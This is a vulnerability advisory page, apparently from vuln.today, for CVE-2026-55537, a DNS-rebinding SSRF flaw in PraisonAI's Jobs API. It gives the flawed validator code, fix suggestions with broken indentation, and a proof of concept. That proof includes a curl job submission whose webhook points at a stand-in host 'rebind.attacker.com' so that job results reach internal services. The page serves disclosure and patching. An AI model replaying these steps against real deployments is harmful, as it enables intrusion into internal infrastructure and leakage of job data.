Skip to main content

PraisonAI CVE-2026-55537

| EUVDEUVD-2026-65515 HIGH
Time-of-check Time-of-use (TOCTOU) Race Condition (CWE-367)
2026-08-25 https://github.com/MervinPraison/PraisonAI GHSA-rg5q-pp8p-f7jm
7.1
CVSS 3.1 · Vendor: https://github.com/MervinPraison/PraisonAI
Share

Severity by source

Vendor (https://github.com/MervinPraison/PraisonAI) PRIMARY
7.1 HIGH
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N
vuln.today AI
7.1 HIGH

Network API requires bearer token (PR:L); DNS timing coordination makes AC:H; SSRF reaching internal services constitutes scope change with high confidentiality and low integrity impact.

3.1 AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N
4.0 AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:H/SI:L/SA:N

Primary rating from Vendor (https://github.com/MervinPraison/PraisonAI).

CVSS VectorVendor: https://github.com/MervinPraison/PraisonAI

Attack Vector
Network
Attack Complexity
High
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
None

Lifecycle Timeline

3
Source Code Evidence Fetched
Aug 25, 2026 - 15:20 vuln.today
Analysis Generated
Aug 25, 2026 - 15:20 vuln.today
CVE Published
Aug 25, 2026 - 14:59 github-advisory
HIGH 7.1

DescriptionCVE.org

Summary

praisonai/jobs/models.py::JobSubmitRequest.validate_webhook_url() validates webhook URLs by resolving the hostname and checking whether the IP is private. When DNS resolution fails (socket.gaierror), the validator silently passes the URL via except socket.gaierror: pass. Additionally, even when DNS succeeds at validation time, the webhook is fired much later by JobExecutor._send_webhook(), which calls httpx.AsyncClient().post(job.webhook_url) - performing a fresh, independent DNS lookup at execution time. Together, these flaws create a TOCTOU SSRF window.

An attacker can:

  1. Submit a job with webhook_url pointing to a hostname that currently does not

resolve (NXDOMAIN) → validation passes (gaierrorpass)

  1. Update DNS to point that hostname to 127.0.0.1 or another private IP
  2. When the job completes, _send_webhook() resolves the hostname fresh → POST sent

to the internal IP

Details

Flaw 1 - Fail-open on DNS error (jobs/models.py lines 58-66):

python
@field_validator("webhook_url")
@classmethod
def validate_webhook_url(cls, v):
    ...
    try:
        ip = socket.gethostbyname(hostname)
        ip_obj = ipaddress.ip_address(ip)
        if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local:
            raise ValueError("Webhook URL resolves to private network address")
    except socket.gaierror:
        pass
# <-- FAIL-OPEN: DNS failure allows the URL without restriction
    return v

When socket.gethostbyname(hostname) raises socket.gaierror (NXDOMAIN, timeout, network error during validation), execution flows to pass and the URL is accepted.

Flaw 2 - Fresh DNS at execution time (jobs/executor.py lines 376-406):

python
async def _send_webhook(self, job: Job):
    async with httpx.AsyncClient(timeout=30.0) as client:
        response = await client.post(
            job.webhook_url,
# <-- fresh DNS resolution here, not cached from validation
            json=payload,
            ...
        )

httpx.AsyncClient creates a new connection per call. DNS is resolved at execution time, completely independent of the validation-time resolution. The gap between submission and execution can be minutes to hours (depending on job queue depth and timeout settings).

Combined TOCTOU window:

T=0   Attacker submits: webhook_url = "http://rebind.attacker.com/cb"
      Validation:  socket.gethostbyname("rebind.attacker.com") → gaierror (NXDOMAIN)
      Result:      except socket.gaierror: pass  → ACCEPTED

T=5   Attacker updates DNS: rebind.attacker.com A → 127.0.0.1 (TTL=60)

T=60  Job completes. _send_webhook() fires:
      httpx.post("http://rebind.attacker.com/cb")
      DNS: rebind.attacker.com → 127.0.0.1
      POST reaches 127.0.0.1 → SSRF

Relation to CVE-2026-40114 / GHSA-8frj-8q3m-xhgm: That CVE covered "no URL validation at all" on the webhook_url parameter, patched in v4.5.126 by adding validate_webhook_url() to jobs/models.py. This finding targets the validation code itself - the except socket.gaierror: pass fail-open introduced in that patch. CVE-2026-40114: no validation. This bypass: validation present but fail-open on DNS error.

PoC

Requirements: A domain you control with configurable DNS TTL, access to the jobs API

Step 1 - Confirm fail-open behaviour (local code verification):

python
from praisonai.jobs.models import JobSubmitRequest
from unittest.mock import patch
import socket
# Simulate: hostname temporarily does not resolve
with patch("socket.gethostbyname", side_effect=socket.gaierror("NXDOMAIN")):
    req = JobSubmitRequest(
        prompt="hello",
        webhook_url="http://rebind.attacker.com/callback"
    )
# No exception raised - URL accepted despite NXDOMAIN
    print("Webhook accepted:", req.webhook_url)

Expected: Webhook accepted: http://rebind.attacker.com/callback

Step 2 - Confirm fresh DNS at execution time:

python
# From jobs/executor.py _send_webhook():
# httpx.AsyncClient creates a new TCP connection (no DNS cache sharing with validator)
# Standard httpx behaviour: each .post() resolves DNS independently

import httpx, asyncio

async def demo():
# httpx resolves DNS here, not using any cached result from validation
    async with httpx.AsyncClient() as client:
# This call resolves "rebind.attacker.com" fresh at runtime
# If DNS changed since validation, it hits the new IP
        try:
            r = await client.post("http://rebind.attacker.com/callback", json={})
        except Exception as e:
            print(f"Connection: {e}")

asyncio.run(demo())

Step 3 - Full attack scenario:

bash
# 1. Set up domain with short TTL, currently returning NXDOMAIN
#    rebind.attacker.com  →  (no record, TTL=60)
# 2. Submit job via API
curl -X POST http://praisonai-server:8000/jobs \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "prompt": "Calculate 2+2",
    "webhook_url": "http://rebind.attacker.com/callback"
  }'
# Response: {"job_id": "job_abc123", "status": "queued", ...}
# 3. After 5 seconds (before job finishes), add DNS record:
#    rebind.attacker.com  A  127.0.0.1  TTL=60
# 4. Wait for job to complete (seconds to minutes).
#    _send_webhook() fires and resolves rebind.attacker.com → 127.0.0.1
#    POST request hits 127.0.0.1 (internal service)
# If 127.0.0.1:80 is running a service, it receives:
# POST /callback HTTP/1.1
# Content-Type: application/json
# {"job_id": "job_abc123", "status": "succeeded", "result": "4", ...}

Immediate variant (no DNS timing required):

If DNS resolution fails transiently (rate limit, network blip, temporary outage) during validation, the webhook is accepted unconditionally even for a URL that would normally resolve to a private IP. No attacker control over DNS timing is required - the attacker simply retries submission during moments when their DNS server is unreachable (e.g., their DNS server is down, causing gaierror).

Impact

What kind of vulnerability: Server-Side Request Forgery via TOCTOU DNS rebinding and validation fail-open.

Who is impacted: Any deployment exposing the PraisonAI Jobs API (POST /jobs) to external or lower-trusted callers. This includes:

  • Multi-tenant deployments where workspace members submit jobs
  • API integrations (n8n, Zapier-style workflows) that provide webhook_url fields

Post-exploit capabilities:

  • HTTP POST to any internal service with JSON payload (job result data)
  • If an internal service interprets the POST body as commands (Jenkins webhook,

Consul KV, etc.), this achieves code execution on internal infrastructure

  • Exfiltration of job results (which may include agent reasoning, data retrieved

during the task, discovered credentials) to an attacker-controlled endpoint


---
## Remediation Suggestion (for maintainers)

**Fix 1 - Change `gaierror` handler to fail-closed (`jobs/models.py` line 63):**

VULNERABLE

except socket.gaierror: pass

FIXED

except socket.gaierror: raise ValueError( "Webhook URL hostname could not be resolved. " "Ensure the hostname is valid and publicly reachable." )


**Fix 2 - Re-validate at execution time (`jobs/executor.py` before `_send_webhook`):**

async def _send_webhook(self, job: Job): if not job.webhook_url: return

Re-validate to prevent DNS rebinding

try: from urllib.parse import urlparse import socket, ipaddress hostname = urlparse(job.webhook_url).hostname ip = socket.gethostbyname(hostname) if ipaddress.ip_address(ip).is_private: logger.warning(f"Webhook SSRF blocked at execution time: {job.webhook_url}") return except Exception as e: logger.warning(f"Webhook validation failed at execution: {e}") return

... proceed with httpx.post

AnalysisAI

Server-Side Request Forgery in PraisonAI's Jobs API (pip/praisonai < 4.6.58) results from two compounding flaws: a fail-open DNS error handler in JobSubmitRequest.validate_webhook_url() that silently accepts any webhook URL when socket.gaierror is raised, and a TOCTOU race where JobExecutor._send_webhook() performs a completely independent DNS resolution via httpx.AsyncClient minutes to hours after validation. Authenticated attackers with a valid API bearer token can submit a job whose webhook_url hostname returns NXDOMAIN at validation time, then update DNS to a private IP before job completion, causing the executor to POST job result data to internal infrastructure. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
technique details hidden
Delivery
technique details hidden
Exploit
technique details hidden
Execution
technique details hidden
Persist
technique details hidden
Impact
technique details hidden

Vulnerability AssessmentAI

Exploitation Exploitation requires: (1) a valid bearer token for the PraisonAI Jobs API - CVSS PR:L confirms low-privilege authenticated access is the minimum; unauthenticated exploitation is not supported by the available data; (2a) for the primary DNS-rebinding path, attacker control over a domain's DNS records with ability to serve NXDOMAIN initially then switch to a private IP within the job's queue-processing window; OR (2b) for the transient-DNS-failure variant, the ability to submit jobs during a period when the PraisonAI server's DNS resolver is temporarily unreachable (no DNS control needed - attacker retries submission until a transient gaierror occurs); (3) the PraisonAI deployment must have the Jobs module active and expose the `POST /jobs` endpoint to the attacker. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 3.1 score of 7.1 (AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N) accurately characterizes the primary attack path: network-reachable, high complexity due to DNS timing requirements, and low-privilege authentication required. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario Full exploit scenario with step-by-step reproduction available after sign-in.
Remediation Upgrade PraisonAI to version 4.6.58 or later, confirmed fixed in patch commit 2f9677abb2ea68eab864ee8b6a828fd0141612e1 (https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1) and released at https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours, identify all PraisonAI deployments in your environment and determine running versions; for any instance below 4.6.58, immediately restrict API access tokens to only trusted internal service accounts and disable webhook functionality if possible. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

CVE-2026-55255 HIGH POC
8.4 Jun 19

Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing

Share

CVE-2026-55537 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy